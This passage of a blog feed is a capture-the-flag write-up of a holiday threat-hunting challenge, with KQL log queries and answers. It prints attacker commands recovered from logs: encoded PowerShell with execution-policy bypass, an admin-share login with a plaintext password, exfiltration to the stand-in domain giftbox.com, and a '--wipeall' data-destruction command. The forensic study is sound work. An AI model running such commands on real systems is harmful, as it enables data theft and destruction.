2023-12-02T16:51:44 net share command
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;113.37.9.17&lt;/li&gt;
  &lt;li&gt;2023-12-02T16:51:44&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ProcessEvents
| where timestamp &amp;gt; datetime(&quot;2023-12-02T11:11:29Z&quot;) and hostname==&quot;Y1US-DESKTOP&quot; and process_commandline contains &quot;owershell&quot;
|order by timestamp asc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Important rows:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2023-12-24T16:07:47
C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn
powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt' (
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Base64 decode then…
Use to convert charcode to more powershell &lt;a href=&quot;https://www.prepostseo.com/tool/decimal-to-ascii&quot;&gt;Decimal-2-ASCII&lt;/a&gt;
or
&lt;a href=&quot;https://gchq.github.io/CyberChef/#recipe=From_Charcode('Space',10)&amp;amp;input=MTAwLCAxMTEsIDExOSwgMTEwLCAxMTksIDEwNSwgMTE2LCAxMDQsIDExNSwgOTcsIDExMCwgMTE2LCA5NywgNDYsIDEwMSwgMTIwLCAxMDEsIDMyLCA0NSwgMTAxLCAxMjAsIDEwMiwgMTA1LCAxMDgsIDMyLCA2NywgNTgsIDkyLCA5MiwgNjgsIDEwMSwgMTE1LCAxMDcsIDExNiwgMTExLCAxMTIsIDkyLCA5MiwgNzgsIDk3LCAxMTcsIDEwMywgMTA0LCAxMTYsIDc4LCAxMDUsIDk5LCAxMDEsIDc2LCAxMDUsIDExNSwgMTE2LCA0NiwgMTAwLCAxMTEsIDk5LCAxMjAsIDMyLCA5MiwgOTIsIDEwMywgMTA1LCAxMDIsIDExNiwgOTgsIDExMSwgMTIwLCA0NiwgOTksIDExMSwgMTA5LCA5MiwgMTAyLCAxMDUsIDEwOCwgMTAx&quot;&gt;Cyber Chef&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Or even ask chatGPT to decode it.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2023-12-24T15:14:25
cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;NorthPolefileshare&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Case 5&lt;/strong&gt; A hidden message&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine?&lt;/li&gt;
  &lt;li&gt;What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)&lt;/li&gt;
  &lt;li&gt;The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Answers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;2023-12-24T16:07:47Z&lt;/li&gt;
  &lt;li&gt;NaughtyNiceList.txt&lt;/li&gt;
  &lt;li&gt;giftbox.com&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Case 6&lt;/strong&gt; The final step!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;What is the name of the executable the attackers used in the final malicious command?&lt;/li&gt;
  &lt;li&gt;What was the command line flag used alongside this executable?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From above:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;2023-12-24T16:58:43 (decimal to ascii attack )&lt;/li&gt;
  &lt;li&gt;NaughtNiceList.docx (downwithsanta.exe -exfil C:\Desktop\NaughtNiceList.docx \giftbox.com\file)&lt;/li&gt;
  &lt;li&gt;giftbox.com&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;decoded:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Answers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;downwithsanta.exe&lt;/li&gt;
  &lt;li&gt;–wipeall&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="CTF" /><category term="Web Application" /><category term="pentest" /><category term="redteam" /><category term="blueteam" /><category term="PCAP" /><category term="SQLi" /><category term="FPGA" /><category term="Shellcode" /><category term="Printer" /><category term="IMDS" /><category term="AWS" /><category term="Hashcat" /><category term="cracking" /><summary type="html"></summary></entry></feed>